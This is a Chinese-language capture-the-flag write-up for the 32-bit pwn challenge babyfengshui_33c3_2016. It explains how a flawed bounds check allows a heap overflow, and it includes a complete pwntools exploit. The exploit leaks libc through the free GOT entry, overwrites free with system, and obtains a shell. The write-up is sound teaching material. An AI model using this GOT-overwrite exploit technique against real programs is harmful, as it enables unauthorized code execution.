本文主要是介绍babyfengshui_33c3_2016[堆溢出],希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
未来的你 = 你的热情 + 你的努力 + 那么微不足道的天赋
其实做pwn题我感觉都是只可意会,但并非不可言传,只是说了感觉和说废话一样,没有什么实质性的作用,最最重要的是要自己多去操作调试,pwn多了也就那样吧!但是最核心的永远是你coding的能力!虽然在干着逆向的事,但是coding的能力决定了你的高度! ----小白感悟
这道题问题出现在更新的时候边界的判断方法有问题,结合的堆的机制,就可以形成堆溢出!
添加一个用户会申请两个chunk,后一个chunk的内容为前一个chunk的地址+输入的text
struct user {void * prev_chunk;char text[124];
};
// sizeof(struct user) = 0x80
第二个chunk的的内容也就是上面的结构
对于这个判断就是前一个chunk的起始地址 + size 与 当前chunk的起始地址 - 4 进行比较(因为这是32位程序)。这种判断方法显然只有每一个用户都是一个挨着一个有效,这样在内存中堆上的布局才会是每个chunk依次挨着。
堆的机制,当我们释放大于fastbin的范围时候会先放到unsorted bin(前提是不和top chunk相邻,不然直接合并了),同理申请的时候也是优先从unsorted bin中进行分配。
所以当我们删除用户的时候,也就是释放chunk,放到那么就不按照顺序了
当前一个chunk的位置离当前chunk非常远的时候,上面的条件就可以轻松绕过。
接下来就是利用堆溢出修改上面user结构体的的prev_chunk的指针为got表中的free,因为此时已经重定位过了,然后直接打印就能拿到free的地址,泄露libc,拿到system的地址。
由于上面已经填入了free的got地址,当再次更新的时候,就会直接操作got表,此时再将free的位置修改为system的地址。最后当我们再一次free的时候,就会直接调用system函数了,/bin/sh是我们直接填入的,为什么会调用呢?可以先看一下free部分的做法
if ( a1 < byte_804B069 && ptr[a1] ){free(*ptr[a1]);free(ptr[a1]);ptr[a1] = 0;}
ptr是一个指针数组,存放我们每次malloc的地址,当我们修改got表后就相当于system(*ptr[a1])
,此时*ptr[a1]
位置就是我们填入的/bin/sh
,从而拿到shell.
exp
from pwn import *
from LibcSearcher import *context(log_level='debug')def debug_pause():log.info(proc.pidof(p))pause()def add_user(size, text):"""text_len update lengthtext description"""p.sendlineafter('Action:', '0')p.sendlineafter('size of description:', str(size))p.sendlineafter('name', b'moddemod')p.sendlineafter('text length', str(text.__len__()))p.sendlineafter('text', text)def delete_user(index):p.sendlineafter('Action:', '1')p.sendlineafter('index:', str(index))def display_user(index):p.sendlineafter('Action:', '2')p.sendlineafter('index:', str(index))# p.recvuntil('name:')def update_user(index, text):p.sendlineafter('Action:', '3')p.sendlineafter('index:', str(index))p.sendlineafter('text length', str(text.__len__()))p.sendafter('text', text)proc_name = './babyfengshui_33c3_2016'
p = process(proc_name)
p = remote('node3.buuoj.cn', 28094)
elf = ELF(proc_name)
add_user(0x10, b'a') # 0
add_user(0x10, b'b') # 1
add_user(0x10, b'/bin/sh\x00') # 2
# debug_pause()delete_user(0)
free_got = elf.got['free']
add_user(0x80, b'a' * 0x80 + p32(0x0) + p32(0x19) + b'a' * 0x10 + p32(0x0) + p32(0x89) + p32(free_got))
display_user(1)
p.recvuntil('description: ')
free_addr = u32(p.recv(4))
log.info(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
update_user(1, p32(system_addr))
delete_user(2)
p.interactive()
如果还是不能理解的话,下面应该是作者的源码吧,可以参考一下!
源码:https://github.com/bkth/babyfengshui/blob/master/babyfengshui.c
这篇关于babyfengshui_33c3_2016[堆溢出]的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!